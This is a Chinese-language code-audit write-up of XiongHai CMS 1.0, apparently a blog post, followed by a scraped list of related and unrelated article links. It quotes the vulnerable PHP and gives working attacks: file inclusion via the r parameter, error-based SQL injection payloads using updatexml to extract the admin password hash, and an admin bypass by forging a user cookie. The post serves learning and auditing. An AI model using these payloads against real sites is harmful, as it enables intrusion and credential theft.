熊海CMS_1.0 代码审计
熊海是一款小型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是比较多的,而且审计起来难度不大,非常适合入门,所以今天我进行这款cms的代码审计。程序安装后使用seay源代码审计系统打开,首先使用自动审计。
可以看到,seay源代码审计工具还是审出了非常多的可疑漏洞的,但是这款工具还是有一定的误报率的。我们需要做的就是可疑漏洞的检查。
0x01 /index.php 的文件包含
我们首先检查第一个可疑漏洞,打开/index.php文件:
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
在第6行,我们可以发现这里存在一个非常明显的文件包含漏洞,参数r没有经过任何过滤直接被include包含。我们在根目录下创建phpinfo.php文件,内容为<?php phpinfo(); ?>,在url里提交?r=../phpinfo,程序添加.php后缀名后产生了文件包含。
/admin/index.php也同理存在文件包含漏洞。
0x02 /admin/files/login.php SQL注入
后面的这些漏洞暂时不看,对一个网站来说,后台登陆的安全性需求最高,我们直接来看登陆页面的代码:
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox']; if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result); if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
一段赏心悦目的漏洞,如果所有的网站都这样就不会陷入日站日不动,审计没思路的尴尬局面了。简单看了一眼代码后,企图直接万能密码登陆,登陆的时候发现可以用错误的用户名和正确的密码登陆,如果密码不正确还是不能登陆。黑盒测试失败,继续回来看代码吧...
首先程序用post方式接收我们传递的参数,然后未经任何过滤进行了用户名校验,如果用户名存在继续进行密码校验。问题出在代码的第19行,这里首先将我们传递的password变量进行md5散列,然后拿散列值与数据库里面的密码进行核对,这也就是我们不能采用万能密码绕过的原因。不过问题不大这里的sql注入算是石锤了,我们可以通过报错注入来利用这个漏洞。我们提交用户名为:
1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #
成功报错,我们利用返回的md5值查找对应的密码,结果是找不到的,仔细查看原因发现返回的md5值只有27位...所以我们要进行两次报错注入拼接md5值,最终payload:
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
0x03 后台的SQL注入
成功登陆后台之后我们再查看后台的可疑漏洞,根据自动分析的结果,我们看到了一大堆SQL注入漏洞。一个一个点开看,非常多的变量使用了addslashes进行过滤,这里也不存在gbk和utf-8的编码问题,所以也不用考虑宽字节注入,基本确定属于误报。后面第一个真正的漏洞位于/admin/files/editlink.php,源码如下:
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$linklistopen='class="open"';
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul); $save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
if ($xs==""){
$xs=1;
} if ($save==1){ if ($name==""){
echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>";
exit;
}
if ($url==""){
echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>";
exit;
} $query = "UPDATE link SET
name='$name',
url='$url',
mail='$mail',
jieshao='$jieshao',
xs='$xs',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>";
exit;
}
?>
非常明显还是那个老问题,通过post提交变量,中间没有进行任何过滤直接查询数据库,继续用刚刚的payload吧,漏洞确实存在的,而且后面还有好多处,不挨个写了。
' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
0x04 留言板XSS
源码审计系统还报了一处位于/seacmseditor/php/controller.php的XSS漏洞,但是这里在输出到浏览器的时候被htmlspecialchars转义成为了html实体,所以说这又是一个误报。但是这套CMS还有一个影响比较严重的XSS没有被扫描出,CMS的前台留言板没有进行XSS过滤,后台管理界面也没有进行过滤,因此产生了存储型XSS,而且有针对性的攻击管理员,属于比较危险的一类XSS了。这里不贴代码了。
0x05 垂直越权
自动审计结果还给出了好几个/inc目录下的任意文件读取,挨个打开阅读源码之后并没有发现这个漏洞,倒是checklogin.php存在一个垂直越权漏洞:
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
一个判断管理员的程序,如果COOKIE中user参数为空,那么就跳转到登陆窗。这样的话越权就很轻松了,我们访问一个需要管理员权限的页面,例如http://127.0.0.1/xhcms-1.0/admin/?r=editlink,抓包在COOKIE后面添加user=admin即可实现越权。
总之这款CMS对新手友好,大家也可以试着玩一下!
熊海CMS_1.0 代码审计的更多相关文章
- 【php代码审计】熊海cms1.0
0x01 环境安装 1. 熊海cms1.0 (http://js.down.chinaz.com/201503/xhcms_v1.0.rar) 2.seay代码审计工具 3. phpstudy (ph ...
- 熊海CMS xhcms v1.0代码审计
有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...
- 熊海cms v1.0 完全代码审计
很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...
- Emlog V6.0.0代码审计笔记
前言 emlog是一套基于PHP和MySQL的博客及CMS建站系统. emlog v6.0.0存在后台SQL注入漏洞. 分析 官网下载emlog最新版v6.0.0,本地搭建. 前台功能不多,参数基本都 ...
- 某团队线下赛AWD writeup&Beescms_V4.0代码审计
还是跟上篇一样.拿别人比赛的来玩一下. 0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...
- 代码审计-Beescms_V4.0
Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码 看了别的师傅的文章发现这个源码也非常简单 ,所以今晚简单审计过一遍. 0x01 预留后门 awd首先备份源码,然后下载下来查杀后门, ...
- JQUERY省、市、县城市联动选择
JQUERY 插件开发——CITYLINKAGE(省.市.县城市联动选择) 第一部分:背景 开发源于需求,本次城市联动选择插件算是我写插件的一个特例吧,不是我目前工作需要些的,算是兴趣驱使吧.之前 ...
- js实现省市区联动
先来看看效果图吧,嘻嘻~~~~~~~~~~~~~~~~~~~· 代码在下面: 示例一: html: <!DOCTYPE html> <html> <head> &l ...
- Jquery 插件开发——citylinkage(省、市、县城市联动选择)
第一部分:背景 开发源于需求,本次城市联动选择插件算是我写插件的一个特例吧,不是我目前工作需要些的,算是兴趣驱使吧.之前呢,一直想写这个插件,然后错过了一个写这个插件的机会(这个得回顾到很久以前了. ...
随机推荐
- STL库中的equal_range()
equal_range根据键值,返回一对迭代器的pair对象.如果该键值在容器中存在,则pair对象中的第一个迭代器指向该键关联的第一个实例,第二个迭代器指向该键关联的最后一个实例的下一位置.如果找不 ...
- JAVAEE 和项目开发(第一课:浏览器和服务器的交互模式和HTTP协议的概念和介绍)
互联网的发展非常迅速,但是万变不离其宗.学习 web 开发,需要我们对互 联的交互机制有一定的了解.为了更好的理解并掌握 Servlet,在正式学习 Servlet之前需要对 web 开发中客户端和服 ...
- ZOJ 1276 DP
给出一系列的1x2的矩阵,要你求出矩阵以什么样的次序相乘才使得相乘次数最少,.(不用排序,只要决定该矩阵是和前面相乘比较好,还是后面). 今天仔细想了一下,跟之前做的DP题目做了下对比,你比如说猴子堆 ...
- 写excel文件-xlsxwriter包的使用
# encoding: utf8 from xlsxwriter.utility import xl_rowcol_to_cell import pandas as pd def df_to_exce ...
- 3分钟搞定高逼格PPT封底——简约型
封底想要高逼格又简约? 发现了这五类,看完不会制作算我输. 一.纯文字 白色背景下,一段结束语,或提问或感谢. 重叠文字,看上去非常有创意. 没有操作难度,END放大字号,颜色设置为浅 ...
- 基于Struts2开发公司职工管理系统 Java源码
开发环境: Windows操作系统 开发工具: MyEclipse+Jdk+Tomcat+MySql数据库 职工管理系统作为一种管理软件正在各公司中得到越来越广泛的应用,且已达到了良好效果. 运行效果 ...
- Linux ES集群服务配置说明
说明: ES官网不建议在root用户使用Elastic Server,因此ES集群配置均使用普通账户操作,新建账户 elastic. Linux版本为CentOS 7.3,ES版本为5.5.0. 一. ...
- ActiveMQ消息队列的搭建
今天来写下消息队列 一.首先介绍下什么是activeMQ? ActiveMQ 是Apache出品,最流行的,能力强劲的开源消息总线.ActiveMQ 是一个完全支持JMS1.1和J2EE 1.4规范的 ...
- 题解 P1630 【求和】
题目 发现题解都不够优雅,就自己来一篇 ( 以下除[代码]处代码,其余均为现场手打,如有误请与本蒟蒻联系 ) [分析] 首先,看清楚了,题目是 \(\sum_{i=1}^ai^b\) 的余数 ,而不是 ...
- python编程:从入门到实践----第四章>操作列表
一.遍历整个列表 1-1.假设有一个魔术师名单,需要将其中每个魔术师的名字都打印出来. # 用for循环来打印魔术师名单中的名字 magicians=['alice','david','carolin ...